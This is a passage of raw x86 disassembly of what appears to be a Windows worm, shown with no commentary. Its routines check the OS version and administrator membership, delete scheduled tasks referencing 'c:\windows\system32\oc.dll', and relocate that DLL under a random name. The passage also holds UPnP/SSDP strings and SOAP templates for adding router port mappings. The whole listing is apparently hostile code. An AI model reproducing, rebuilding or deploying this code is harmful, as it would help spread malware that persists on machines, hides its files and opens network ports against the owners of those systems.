dd 0F5120000h, 607h, 608F50Ch, 0F5060000h, 609h, 60AF500h
dd 0F4FA0000h, 60Bh, 60CF4F4h, 0F4EE0000h, 60Dh, 60EF4E8h
dd 0F4E20000h, 610h, 611F4DCh, 0F4D60000h, 612h, 613F4D0h
dd 0F4CA0000h, 614h, 0F4C4h, 2A0011h, 35C29h, 6011Ah, 0
dd 0FFF2004Ch, 1215B5Ch, 180000h, 10000h, 18h, 4C0001h
dd 5B5CFFE0h, 80316h, 5C465C4Bh, 40004h, 0FFDC0012h, 5B08085Bh
dd 21411h, 20012h, 440315h, 4 dup(8080808h), 115B08h, 1B000Eh
dd 180001h, 0Ch, 3165B02h, 5C4B0014h, 45C46h, 8120004h
dd 5C465C25h, 80008h, 0FFDC0012h, 105C46h, 8120010h, 85B5C25h
dd 8080808h, 115B5Ch, 82B021Ah, 0FFFC0008h, 20001h, 40004h
dd 0
dd 10016h, 5A0000h, 2, 300DCh, 1600000h, 120000h, 31B0034h
dd 180014h, 10000h, 49485C4Bh, 14h, 40003h, 8120004h, 85C25h
dd 120008h, 10FF76h, 8120010h, 4C5B5C25h, 5BFF7500h, 80316h
dd 5C465C4Bh, 40004h, 0FFC00012h, 5B08085Bh, 720012h, 180316h
dd 5C465C4Bh, 40004h, 5C250812h, 85C46h, 120008h, 5C46FF36h
dd 100010h, 5C250812h, 145C46h, 8120014h, 85B5C25h, 8080808h
dd 31B5B08h, 180018h, 10000h, 49485C4Bh, 18h, 40004h, 8120004h
dd 85C25h, 120008h, 10FEF6h, 8120010h, 145C25h, 8120014h
dd 4C5B5C25h, 5BFF9300h, 80316h, 5C465C4Bh, 40004h, 0FFB80012h
dd 5B08085Bh, 740012h, 1C0316h, 5C465C4Bh, 40004h, 5C250812h
dd 85C46h, 120008h, 5C46FEAEh, 100010h, 5C250812h, 145C46h
dd 8120014h, 85B5C25h, 8080808h, 5B5C0808h, 1C031Bh, 18h
dd 5C4B0001h, 1C4948h, 40000h, 40004h, 5C250812h, 80008h
dd 0FE6C0012h, 100010h, 5C250812h, 140014h, 5C250812h
dd 91004C5Bh, 3165BFFh, 5C4B0008h, 45C46h, 120004h, 85BFFB8h
dd 125B08h, 1D007Eh, 5B020100h, 1200316h, 5C465C4Bh, 40004h
dd 5C250812h, 85C46h, 120008h, 5C46FE1Eh, 100010h, 5C250812h
dd 145C46h, 8120014h, 85B5C25h, 8080808h, 4C080808h, 5BFFC100h
dd 120031Bh, 18h, 5C4B0001h, 1204948h, 40000h, 40004h
dd 5C250812h, 80008h, 0FDD80012h, 100010h, 5C250812h, 140014h
dd 5C250812h, 8D004C5Bh, 3165BFFh, 5C4B0008h, 45C46h, 120004h
dd 85BFFB8h, 31A5B08h, 8, 4C080000h, 5BFDDD00h, 21411h
dd 20012h, 300315h, 3 dup(8080808h), 115B5Ch, 1B0002h
dd 280001h, 0Ch, 8B75B02h, 0
dd 0FA00h, 5C080811h, 20011h, 2011Bh, 0C0028h, 5B050000h
dd 8B7h, 0FA000000h, 4110000h, 0A0300002h, 4110000h, 0E1300002h
dd 14110000h, 11F646h, 11F652h, 82B0002h, 40028h, 20001h
dd 40120h, 0
dd 1FD2Ah, 0FDCA0000h, 2, 3FE4Ch, 0FED60000h, 110000h
dd 1D0008h, 5B010008h, 100315h, 4C060608h, 5BFFF100h, 3C0011h
dd 140316h, 5C465C4Bh, 100010h, 5C250812h, 0DD004C5Bh
dd 5B5C08FFh, 14031Bh, 18h, 5C4B0001h, 144948h, 10000h
dd 100010h, 5C250812h, 0C9004C5Bh, 3165BFFh, 5C4B0008h
dd 45C46h, 120004h, 85BFFD0h, 115B08h, 11B0002h, 280002h
dd 10010h, 14125B05h, 120002h, 31B0012h, 80008h, 1FFFCh
dd 0F8E8004Ch, 3185B5Ch, 0FFEC0004h, 49485C4Bh, 40008h
dd 80001h, 8120008h, 85B5C25h, 115B5Ch, 82B0002h, 40028h
dd 20001h, 40120h, 0
dd 1FC52h, 0FCF20000h, 2, 3FD74h, 0FDFE0000h, 0
dd 3C0000h, 0A20072h, 12000E4h, 186015Ch, 1F801B6h, 2760240h
dd 2E802A0h, 34E0318h, 3C0038Ah, 42C03FCh, 48C045Ch, 4F204BCh
dd 5700534h, 5DC05A0h, 636060Ch, 6A2066Ch, 72606EAh, 79E075Ch
dd 81607DAh, 876084Ch, 8EE08B2h, 960091Eh, 9D2098Ah, 0A380A02h
dd 0AAA0A68h, 0B100AE0h, 0B8E0B64h, 0
; const MIDL_STUB_DESC pStubDescriptor
pStubDescriptor MIDL_STUB_DESC <offset dword_9A4BA8, offset sub_9A9638, \
; DATA XREF: sub_9AED38+Do
; sub_9AED5A+Do
offset loc_9A9646, <offset Binding>, 0, 0, 0, 0, \
offset word_9A57BA, 1, 50002h, 0, 600016Eh, 0, 0, 0, \
1, 0, 0, 0>
byte_9A69C8 db 0 ; DATA XREF: sub_9AEF58+44r
byte_9A69C9 db 10h ; DATA XREF: sub_9AEF58+4Cr
word_9A69CA dw 1 ; DATA XREF: sub_9AEF58+54r
dd 4161111h, 8041212h, 41613h, 51717h, 61818h, 131C19h
dd 0B1D1Dh, 0C391Eh, 73E3Ah, 8403Fh, 0E4141h, 0D4545h
dd 104442h, 114646h, 124847h, 144B49h, 154C4Ch, 16524Dh
dd 195C53h, 0A6F5Dh, 1D7170h, 1F7272h
; char SubBlock[]
SubBlock db '\VarFileInfo\Translation',0 ; DATA XREF: sub_9AED7C+95o
align 10h
stru_9A6A40 _msEH <0FFFFFFFFh, offset loc_9AEE4B, offset loc_9AEE4F>
; DATA XREF: sub_9AED7C+5o
align 10h
stru_9A6A50 _msEH <0FFFFFFFFh, offset loc_9AEFC8, offset loc_9AEFCC>
; DATA XREF: sub_9AEF58+2o
dword_9A6A5C dd 8A686FDBh, 236FDB6Bh, 346FF77Ah, 0E3A5E5DCh, 428492B2h
; DATA XREF: sub_9AEFDD+42o
dd 4199099Bh, 251812ABh, 735h, 0
stru_9A6A80 _msEH <0FFFFFFFFh, offset loc_9AF0AB, offset loc_9AF0AF>
; DATA XREF: sub_9AEFDD+2o
align 10h
stru_9A6A90 _msEH <0FFFFFFFFh, offset loc_9AF186, offset loc_9AF18A>
; DATA XREF: sub_9AF0BC+5o
dd 2 dup(0Ch), 2 dup(7), 0Eh, 80h, 4000h, 7Ch, 1000000h
dd 8000h
dword_9A6AC4 dd 1F3F3CDDh, 48F359BFh, 5ABC64A1h, 60516632h ; DATA XREF: sub_9B17CA+EDo
byte_9A6AD4 db 19h ; DATA XREF: sub_9B17CA+11Do
; sub_9B213F+FEr
db 0Eh, 9, 7
dd 4040505h, 3030304h, 2020202h
; char aGetSHttp1_1Hos[]
aGetSHttp1_1Hos db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_9B3F00+D1o
db 'Host: %s:%d',0Dh,0Ah
db 'Connection: Close',0Dh,0Ah
db 0Dh,0Ah,0
; char asc_9A6B18[]
asc_9A6B18 db '://',0 ; DATA XREF: sub_9B410C+9o
aService db 'service',0 ; DATA XREF: sub_9B4526+2Ao
; sub_9B4581+18o
; char aUrnSchemasUp_2[]
aUrnSchemasUp_2 db 'urn:schemas-upnp-org:service:WANPPPConnection:1',0
; DATA XREF: .text:009A6D2Co
; sub_9B4581+A4o
; char aUrnSchemasUp_1[]
aUrnSchemasUp_1 db 'urn:schemas-upnp-org:service:WANIPConnection:1',0
; DATA XREF: .text:009A6D28o
; sub_9B4581:loc_9B4614o
align 4
; char aUrnSchemasUpnp[]
aUrnSchemasUpnp db 'urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1',0
; DATA XREF: sub_9B4581+39o
; sub_9B4B6B+77o
; char aScpdurl[]
aScpdurl db 'SCPDURL',0 ; DATA XREF: sub_9B468C:loc_9B46F5o
; char aEventsuburl[]
aEventsuburl db 'eventSubURL',0 ; DATA XREF: sub_9B468C:loc_9B46DCo
; char aControlurl[]
aControlurl db 'controlURL',0 ; DATA XREF: sub_9B468C:loc_9B46C3o
align 4
; char aServicetype[]
aServicetype db 'serviceType',0 ; DATA XREF: sub_9B468C:loc_9B46AAo
; char aUrlbase[]
aUrlbase db 'URLBase',0 ; DATA XREF: sub_9B468C+5o
; char aPostSHttp1_1Ho[]
aPostSHttp1_1Ho db 'POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_9B4735+51o
db 'Host: %s%s',0Dh,0Ah
db 'User-Agent: POSIX, UPnP/1.0',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 'Content-Type: text/xml',0Dh,0Ah
db 'SOAPAction: "%s"',0Dh,0Ah
db 'Connection: Close',0Dh,0Ah
db 'Cache-Control: no-cache',0Dh,0Ah
db 'Pragma: no-cache',0Dh,0Ah
db 0Dh,0Ah,0
align 4
; char aHu[]
aHu db ':%hu',0 ; DATA XREF: sub_9B4735+2Do
align 8
aContentLength db 'content-length',0 ; DATA XREF: sub_9B4826+5o
align 4
; char aMSearchHttp1_1[]
aMSearchHttp1_1 db 'M-SEARCH * HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_9B4EE4+103o
db 'HOST: 239.255.255.250:1900',0Dh,0Ah
db 'ST: %s',0Dh,0Ah
db 'MAN: "ssdp:discover"',0Dh,0Ah
db 'MX: 3',0Dh,0Ah
db 0Dh,0Ah,0
align 4
off_9A6D24 dd offset aUrnSchemasUp_0 ; DATA XREF: sub_9B4EE4+E8o
; "urn:schemas-upnp-org:device:InternetGat"...
dd offset aUrnSchemasUp_1 ; "urn:schemas-upnp-org:service:WANIPConne"...
dd offset aUrnSchemasUp_2 ; "urn:schemas-upnp-org:service:WANPPPConn"...
dd offset aUpnpRootdevice ; "upnp:rootdevice"
align 8
aUpnpRootdevice db 'upnp:rootdevice',0 ; DATA XREF: .text:009A6D30o
aUrnSchemasUp_0 db 'urn:schemas-upnp-org:device:InternetGatewayDevice:1',0
; DATA XREF: .text:off_9A6D24o
aSt db 'st',0 ; DATA XREF: sub_9B488E+6Co
align 10h
aLocation db 'location',0 ; DATA XREF: sub_9B488E+47o
align 4
; char aConnected[]
aConnected db 'Connected',0 ; DATA XREF: sub_9B4B2C+2Bo
align 4
; char aSBodySEnvelope[]
aSBodySEnvelope db '></s:Body></s:Envelope>',0Dh,0Ah,0 ; DATA XREF: sub_9B4C5A+102o
align 8
; char a?xmlVersion1_1[]
a?xmlVersion1_1 db '<?xml version="1.0"?>',0Dh,0Ah ; DATA XREF: sub_9B4C5A+5Eo
db '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s'
db ':encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Bod'
db 'y><m:%s xmlns:m="%s">',0
align 4
; char a?xmlVersion1_0[]
a?xmlVersion1_0 db '<?xml version="1.0"?>',0Dh,0Ah ; DATA XREF: sub_9B4C5A+45o
db '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s'
db ':encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Bod'
db 'y><m:%s xmlns:m="%s"></m:%s></s:Body></s:Envelope>',0Dh,0Ah,0
align 4
; char aSS[]
aSS db '%s#%s',0 ; DATA XREF: sub_9B4C5A+23o
align 10h
; char cp[]
cp db '239.255.255.250',0 ; DATA XREF: sub_9B4EE4+7Fo
; char aErrorcode[]
aErrorcode db 'errorCode',0 ; DATA XREF: sub_9B5214+105o
; sub_9B5353+99o ...
align 4
; char aNewlastconnect[]
aNewlastconnect db 'NewLastConnectionError',0 ; DATA XREF: sub_9B5214+86o
align 4
; char aNewconnections[]
aNewconnections db 'NewConnectionStatus',0 ; DATA XREF: sub_9B5214+75o
; char aNewuptime[]
aNewuptime db 'NewUptime',0 ; DATA XREF: sub_9B5214+64o
align 4
aGetstatusinfo db 'GetStatusInfo',0 ; DATA XREF: sub_9B5214+3Co
align 4
; char aNewexternalipa[]
aNewexternalipa db 'NewExternalIPAddress',0 ; DATA XREF: sub_9B5353+6Do
align 4
aGetexternalipa db 'GetExternalIPAddress',0 ; DATA XREF: sub_9B5353+45o
align 4
; char aNewleasedurati[]
aNewleasedurati db 'NewLeaseDuration',0 ; DATA XREF: sub_9B542A+BBo
; sub_9B5636+196o
align 4
aAddportmapping db 'AddPortMapping',0 ; DATA XREF: sub_9B542A+B3o
align 4
; char aNewportmapping[]
aNewportmapping db 'NewPortMappingDescription',0 ; DATA XREF: sub_9B542A+96o
; sub_9B5636+16Fo
align 4
; char aNewenabled[]
aNewenabled db 'NewEnabled',0 ; DATA XREF: sub_9B542A+88o
; sub_9B5636+148o
align 10h
; char aNewinternalcli[]
aNewinternalcli db 'NewInternalClient',0 ; DATA XREF: sub_9B542A+81o
; sub_9B5636+FFo ...
align 4
; char aNewinternalpor[]
aNewinternalpor db 'NewInternalPort',0 ; DATA XREF: sub_9B542A+7Ao
; sub_9B5636+125o ...
; char aNewprotocol[]
aNewprotocol db 'NewProtocol',0 ; DATA XREF: sub_9B542A+70o
; sub_9B5561+62o ...
; char aNewexternalpor[]
aNewexternalpor db 'NewExternalPort',0 ; DATA XREF: sub_9B542A+66o
; sub_9B5561+56o ...
; char aNewremotehost[]
aNewremotehost db 'NewRemoteHost',0 ; DATA XREF: sub_9B542A+60o
; sub_9B5561+4Do ...
align 10h
aDeleteportmapp db 'DeletePortMapping',0 ; DATA XREF: sub_9B5561+45o
align 4
aNewportmappi_0 db 'NewPortMappingIndex',0 ; DATA XREF: sub_9B5636+5Ao
aGetgenericport db 'GetGenericPortMappingEntry',0 ; DATA XREF: sub_9B5636+4Co
align 4
aGetspecificpor db 'GetSpecificPortMappingEntry',0 ; DATA XREF: sub_9B5837+5Do
dd 89ABCDEFh, 1234567h, 2425CFA0h, 7311C281h
dword_9A70E0 dd 2425CFA0h, 7311C281h, 34AAC8E7h, 64322864h, 0EF68B7C1h
; DATA XREF: sub_9B66FE+B6o
dd 0B60450E9h, 8D9F06F1h, 0E8FB2390h, 0A691E5BFh, 0DD2E76CBh
dd 2C30BC41h, 0CD0D63Bh, 23058F8Ah, 1F8CCF68h, 88E3775Dh
dd 54E5ED5Bh, 0A6D6031h, 4AD12AAEh, 88222E0Dh, 3E7F16BBh
dd 3FB50C2Ch, 8AF8671Dh, 8BD25C31h, 995AD117h, 4C4B633h
dd 0C878C1DDh, 7A1552ACh, 3B72066Ch, 631EFFCBh, 0D6F3522h
byte_9A7158 db 30h ; DATA XREF: sub_9B6A6A+38r
; sub_9B6A6A+4Br
a123456789abcde db '123456789abcdef',0
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=78h
sub_9A7170 proc near ; CODE XREF: StartAddress:loc_9A77C5p
VersionInformation= _OSVERSIONINFOA ptr -0A0h
var_C = word ptr -0Ch
Data = byte ptr -4
push ebp
lea ebp, [esp-78h]
sub esp, 0A0h
push ebx
push esi
push edi
push 26h
pop ecx
xor eax, eax
mov [ebp+78h+VersionInformation.dwOSVersionInfoSize], 9Ch
lea edi, [ebp+78h+VersionInformation.dwMajorVersion]
rep stosd
lea eax, [ebp+78h+VersionInformation]
push eax ; lpVersionInformation
mov dword ptr [ebp+78h+Data], 0Ah
call GetVersionExA
cmp [ebp+78h+VersionInformation.dwMajorVersion], 5
jnz short loc_9A71FC
cmp [ebp+78h+VersionInformation.dwMinorVersion], 0
jz short loc_9A71B9
cmp [ebp+78h+VersionInformation.dwMinorVersion], 1
jnz short loc_9A71FC
cmp [ebp+78h+var_C], 2
jnb short loc_9A71FC
loc_9A71B9: ; CODE XREF: sub_9A7170+3Aj
lea eax, [ebp+78h+Data]
push eax ; lpData
mov ebx, offset dword_9A1474
push ebx ; lpValueName
mov edi, offset dword_9A1440
push edi ; lpSubKey
mov esi, 80000002h
push esi ; int
call sub_9AC117
add esp, 10h
test eax, eax
jnz short loc_9A71E4
mov dword ptr [ebp+78h+Data], 0FFFFFEh
jmp short loc_9A721A
; ---------------------------------------------------------------------------
loc_9A71E4: ; CODE XREF: sub_9A7170+69j
mov eax, 0FFFFFEh
cmp dword ptr [ebp+78h+Data], eax
jz short loc_9A721A
push eax ; Data
push ebx ; lpValueName
push edi ; lpSubKey
push esi ; hKey
call sub_9AC0F9
add esp, 10h
jmp short loc_9A721A
; ---------------------------------------------------------------------------
loc_9A71FC: ; CODE XREF: sub_9A7170+34j
; sub_9A7170+40j ...
push 1 ; int
push offset Name ; lpName
call sub_9AB5DC
pop ecx
pop ecx
call sub_9A813F
test eax, eax
jz short loc_9A721A
mov dword ptr [ebp+78h+Data], 10000000h
loc_9A721A: ; CODE XREF: sub_9A7170+72j
; sub_9A7170+7Cj ...
mov eax, dword ptr [ebp+78h+Data]
pop edi
pop esi
mov ds:dword_9B9E20, eax
pop ebx
add ebp, 78h
leave
retn
sub_9A7170 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A722A proc near ; CODE XREF: StartAddress+1Ap
; StartAddress+6Cp ...
Str1 = byte ptr -208h
Str = byte ptr -104h
var_103 = byte ptr -103h
push ebp
mov ebp, esp
sub esp, 208h
push ebx
push esi
push edi
push 40h
xor eax, eax
pop ecx
xor ebx, ebx
mov [ebp+Str], bl
lea edi, [ebp+var_103]
rep stosd
stosw
stosb
lea eax, [ebp+Str]
push eax ; Str
mov esi, offset ExistingFileName ; "c:\\windows\\system32\\oc.dll"
push esi ; Source
call sub_9AC27E
pop ecx
pop ecx
push 104h ; uSize
lea eax, [ebp+Str1]
push eax ; lpBuffer
call GetSystemDirectoryA
push 3 ; MaxCount
lea eax, [ebp+Str]
push eax ; Str
lea eax, [ebp+Str1]
push eax ; Str1
call _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_9A72C0
push esi ; Str
call strlen
cmp eax, 4
pop ecx
jbe short loc_9A72BB
push offset Str2 ; "Ø"
push esi ; Str
call strlen
sub esi, 4
pop ecx
add eax, esi
push eax ; Str1
call _stricmp
test eax, eax
pop ecx
pop ecx
jz short loc_9A72C3
loc_9A72BB: ; CODE XREF: sub_9A722A+71j
or ebx, 0FFFFFFFFh
jmp short loc_9A72C3
; ---------------------------------------------------------------------------
loc_9A72C0: ; CODE XREF: sub_9A722A+65j
push 0FFFFFFFEh
pop ebx
loc_9A72C3: ; CODE XREF: sub_9A722A+8Fj
; sub_9A722A+94j
pop edi
pop esi
mov eax, ebx
pop ebx
leave
retn
sub_9A722A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A72CA proc near ; CODE XREF: sub_9A799E+118p
pSid1 = dword ptr -28h
var_24 = dword ptr -24h
pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY ptr -20h
var_18 = dword ptr -18h
hObject = dword ptr -14h
var_10 = dword ptr -10h
ReturnLength = dword ptr -0Ch
pSid2 = dword ptr -8
pSid = dword ptr -4
push ebp
mov ebp, esp
sub esp, 28h
push ebx
lea eax, [ebp+hObject]
push eax ; TokenHandle
xor ebx, ebx
push 8 ; DesiredAccess
mov [ebp+var_18], ebx
call GetCurrentProcess
push eax ; ProcessHandle
call OpenProcessToken
test eax, eax
jz loc_9A740A
push esi
mov esi, GetTokenInformation
lea eax, [ebp+ReturnLength]
push eax ; ReturnLength
push ebx ; TokenInformationLength
push ebx ; TokenInformation
push 2 ; TokenInformationClass
push [ebp+hObject] ; TokenHandle
call esi ; GetTokenInformation
test eax, eax
jnz loc_9A7400
call GetLastError
cmp eax, 7Ah
jnz loc_9A7400
push edi
push [ebp+ReturnLength] ; dwBytes
push 40h ; uFlags
call GlobalAlloc
mov edi, eax
cmp edi, ebx
jz loc_9A73FF
lea eax, [ebp+ReturnLength]
push eax ; ReturnLength
push [ebp+ReturnLength] ; TokenInformationLength
push edi ; TokenInformation
push 2 ; TokenInformationClass
push [ebp+hObject] ; TokenHandle
call esi ; GetTokenInformation
test eax, eax
jz loc_9A73F8
mov esi, AllocateAndInitializeSid
lea eax, [ebp+pSid2]
push eax ; pSid
push ebx ; nSubAuthority7
push ebx ; nSubAuthority6
push ebx ; nSubAuthority5
push ebx ; nSubAuthority4
push ebx ; nSubAuthority3
push ebx ; nSubAuthority2
push ebx ; nSubAuthority1
push 4 ; nSubAuthority0
push 1 ; nSubAuthorityCount
lea eax, [ebp+pIdentifierAuthority]
push eax ; pIdentifierAuthority
mov [ebp+pSid2], ebx
mov [ebp+pSid], ebx
mov [ebp+pIdentifierAuthority.Value], bl
mov [ebp+pIdentifierAuthority.Value+1], bl
mov [ebp+pIdentifierAuthority.Value+2], bl
mov [ebp+pIdentifierAuthority.Value+3], bl
mov [ebp+pIdentifierAuthority.Value+4], bl
mov [ebp+pIdentifierAuthority.Value+5], 5
call esi ; AllocateAndInitializeSid
lea eax, [ebp+pSid]
push eax ; pSid
push ebx ; nSubAuthority7
push ebx ; nSubAuthority6
push ebx ; nSubAuthority5
push ebx ; nSubAuthority4
push ebx ; nSubAuthority3
push ebx ; nSubAuthority2
push ebx ; nSubAuthority1
push 6 ; nSubAuthority0
push 1 ; nSubAuthorityCount
lea eax, [ebp+pIdentifierAuthority]
push eax ; pIdentifierAuthority
call esi ; AllocateAndInitializeSid
cmp [edi], ebx
mov [ebp+var_18], 1
mov [ebp+var_10], ebx
jbe short loc_9A73DE
lea esi, [edi+4]
loc_9A73A3: ; CODE XREF: sub_9A72CA+10Dj
mov eax, [esi]
push [ebp+pSid2] ; pSid2
mov ecx, [esi+4]
push eax ; pSid1
mov [ebp+pSid1], eax
mov [ebp+var_24], ecx
call EqualSid
test eax, eax
jnz short loc_9A73DB
push [ebp+pSid] ; pSid2
push [ebp+pSid1] ; pSid1
call EqualSid
test eax, eax
jnz short loc_9A73DE
inc [ebp+var_10]
mov eax, [ebp+var_10]
add esi, 8
cmp eax, [edi]
jb short loc_9A73A3
jmp short loc_9A73DE
; ---------------------------------------------------------------------------
loc_9A73DB: ; CODE XREF: sub_9A72CA+F0j
mov [ebp+var_18], ebx
loc_9A73DE: ; CODE XREF: sub_9A72CA+D4j
; sub_9A72CA+100j ...
cmp [ebp+pSid], ebx
mov esi, FreeSid
jz short loc_9A73EE
push [ebp+pSid] ; pSid
call esi ; FreeSid
loc_9A73EE: ; CODE XREF: sub_9A72CA+11Dj
cmp [ebp+pSid2], ebx
jz short loc_9A73F8
push [ebp+pSid2] ; pSid
call esi ; FreeSid
loc_9A73F8: ; CODE XREF: sub_9A72CA+79j
; sub_9A72CA+127j
push edi ; hMem
call GlobalFree
loc_9A73FF: ; CODE XREF: sub_9A72CA+62j
pop edi
loc_9A7400: ; CODE XREF: sub_9A72CA+3Dj
; sub_9A72CA+4Cj
push [ebp+hObject] ; hObject
call CloseHandle
pop esi
loc_9A740A: ; CODE XREF: sub_9A72CA+21j
mov eax, [ebp+var_18]
pop ebx
leave
retn
sub_9A72CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A7410 proc near ; CODE XREF: sub_9A799E+17Bp
First = byte ptr -114h
TotalEntries = dword ptr -10h
var_C = dword ptr -0Ch
EntriesRead = dword ptr -8
Buffer = dword ptr -4
push ebp
mov ebp, esp
sub esp, 114h
push esi
xor esi, esi
push esi ; ResumeHandle
lea eax, [ebp+TotalEntries]
push eax ; TotalEntries
lea eax, [ebp+EntriesRead]
push eax ; EntriesRead
push 0FFFFFFFFh ; PrefferedMaximumLength
lea eax, [ebp+Buffer]
push eax ; PointerToBuffer
push esi ; Servername
mov [ebp+EntriesRead], esi
mov [ebp+Buffer], esi
call NetScheduleJobEnum
cmp [ebp+EntriesRead], esi
mov [ebp+var_C], esi
jbe loc_9A74D1
push ebx
push edi
xor ebx, ebx
loc_9A7447: ; CODE XREF: sub_9A7410+B9j
push esi ; lpUsedDefaultChar
push esi ; lpDefaultChar
push 104h ; cbMultiByte
lea eax, [ebp+First]
push eax ; lpMultiByteStr
mov eax, [ebp+Buffer]
push 0FFFFFFFFh ; cchWideChar
push dword ptr [ebx+eax+10h] ; lpWideCharStr
push esi ; dwFlags
push esi ; CodePage
call WideCharToMultiByte
test eax, eax
jz short loc_9A74BD
push 5Ch ; Ch
push offset ExistingFileName ; "c:\\windows\\system32\\oc.dll"
call strrchr
mov edi, eax
cmp edi, esi
pop ecx
pop ecx
jnz short loc_9A7486
mov edi, offset ExistingFileName ; "c:\\windows\\system32\\oc.dll"
jmp short loc_9A7487
; ---------------------------------------------------------------------------
loc_9A7486: ; CODE XREF: sub_9A7410+6Dj
inc edi
loc_9A7487: ; CODE XREF: sub_9A7410+74j
push offset Srch ; lpSrch
lea eax, [ebp+First]
push eax ; lpFirst
call StrStrIA
test eax, eax
jz short loc_9A74BD
push edi ; lpSrch
lea eax, [ebp+First]
push eax ; lpFirst
call StrStrIA
test eax, eax
jz short loc_9A74BD
mov eax, [ebp+Buffer]
mov eax, [ebx+eax]
push eax ; MaxJobId
push eax ; MinJobId
push esi ; Servername
call NetScheduleJobDel
loc_9A74BD: ; CODE XREF: sub_9A7410+58j
; sub_9A7410+8Bj ...
inc [ebp+var_C]
mov eax, [ebp+var_C]
add ebx, 14h
cmp eax, [ebp+EntriesRead]
jb loc_9A7447
pop edi
pop ebx
loc_9A74D1: ; CODE XREF: sub_9A7410+2Dj
cmp [ebp+Buffer], esi
pop esi
jz short locret_9A74DF
push [ebp+Buffer] ; Buffer
call NetApiBufferFree
locret_9A74DF: ; CODE XREF: sub_9A7410+C5j
leave
retn
sub_9A7410 endp
; =============== S U B R O U T I N E =======================================
sub_9A74E1 proc near ; CODE XREF: sub_9A799E+13Bp
push esi
push edi
push offset dword_9A14B0 ; lpSrch
xor edi, edi
call sub_9ABF43
test eax, eax
pop ecx
mov esi, offset ExistingFileName ; "c:\\windows\\system32\\oc.dll"
jz short loc_9A7506
push esi ; lpBuffer
push eax ; dwProcessId
call sub_9ABCA4
test eax, eax
pop ecx
pop ecx
jnz short loc_9A7522
loc_9A7506: ; CODE XREF: sub_9A74E1+16j
push offset dword_9A14A0 ; Str2
call sub_9ABC24
test eax, eax
pop ecx
jz short loc_9A7525
push esi ; lpBuffer
push eax ; dwProcessId
call sub_9ABCA4
test eax, eax
pop ecx
pop ecx
jz short loc_9A7525
loc_9A7522: ; CODE XREF: sub_9A74E1+23j
xor edi, edi
inc edi
loc_9A7525: ; CODE XREF: sub_9A74E1+32j
; sub_9A74E1+3Fj
mov eax, edi
pop edi
pop esi
retn
sub_9A74E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A752A proc near ; CODE XREF: sub_9A7670+6Ep
; sub_9A7670+C7p ...
NewFileName = byte ptr -120h
var_1D = byte ptr -1Dh
var_1C = byte ptr -1Ch
hMem = dword ptr -0Ch
nNumberOfBytesToWrite= dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 120h
mov eax, ds:dword_9B9F34
push ebx
push esi
xor eax, 45419005h
push edi
push eax ; Seed
call srand
call rand
push 4
cdq
pop ecx
idiv ecx
lea eax, [ebp+var_1C]
add edx, 5
push edx
push eax
call sub_9AB647
call sub_9AB510
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_0]
mov edi, 104h
push offset Format ; "„"
lea eax, [ebp+NewFileName]
push edi ; Count
push eax ; Dest
call _snprintf
lea eax, [ebp+NewFileName]
push 1F01FFh ; int
xor ebx, ebx
push eax ; lpFileName
mov [ebp+var_1D], bl
call sub_9AC163
add esp, 28h
cmp [ebp+arg_4], 0FFFFFFFFh
mov [ebp+var_4], ebx
mov esi, offset ExistingFileName ; "c:\\windows\\system32\\oc.dll"
jnz short loc_9A75C6
lea eax, [ebp+NewFileName]
push eax ; lpNewFileName
push esi ; lpExistingFileName
call MoveFileA
test eax, eax
jz short loc_9A75C6
mov [ebp+var_4], 1
jmp short loc_9A7621
; ---------------------------------------------------------------------------
loc_9A75C6: ; CODE XREF: sub_9A752A+7Fj
; sub_9A752A+91j
lea eax, [ebp+nNumberOfBytesToWrite]
push esi ; lpFileName
push eax ; int
mov [ebp+nNumberOfBytesToWrite], ebx
call sub_9AB76E
cmp eax, ebx
pop ecx
pop ecx
mov [ebp+hMem], eax
jz loc_9A7668
cmp [ebp+nNumberOfBytesToWrite], ebx
jz short loc_9A7613
lea ecx, [ebp+NewFileName]
push ecx ; lpFileName
push [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
push eax ; lpBuffer
call sub_9AB7F5
add esp, 0Ch
test eax, eax
jz short loc_9A7613
cmp [ebp+arg_4], 0FFFFFFFFh
mov [ebp+var_4], 1
jnz short loc_9A7613
push 4 ; dwFlags
push ebx ; lpNewFileName
push esi ; lpExistingFileName
call MoveFileExA
loc_9A7613: ; CODE XREF: sub_9A752A+B9j
; sub_9A752A+D0j ...
push [ebp+hMem] ; hMem
call GlobalFree
cmp [ebp+var_4], ebx
jz short loc_9A7668
loc_9A7621: ; CODE XREF: sub_9A752A+9Aj
lea eax, [ebp+NewFileName]
push eax ; lpFileName
call sub_9AB6A9
lea eax, [ebp+NewFileName]
push eax ; lpMultiByteStr
call sub_9AD71D
push edi ; Count
lea eax, [ebp+NewFileName]
push eax ; Source
push esi ; Dest
call strncpy
add esp, 14h
mov ds:byte_9B9F2B, bl
call GetVersion
cmp al, 6
jb short loc_9A7668
push ebx ; int
push offset CommandLine ; lpCommandLine
call sub_9AC2CA
pop ecx
pop ecx
loc_9A7668: ; CODE XREF: sub_9A752A+B0j
; sub_9A752A+F5j ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_9A752A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A7670 proc near ; CODE XREF: StartAddress+26p
Buffer = byte ptr -104h
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
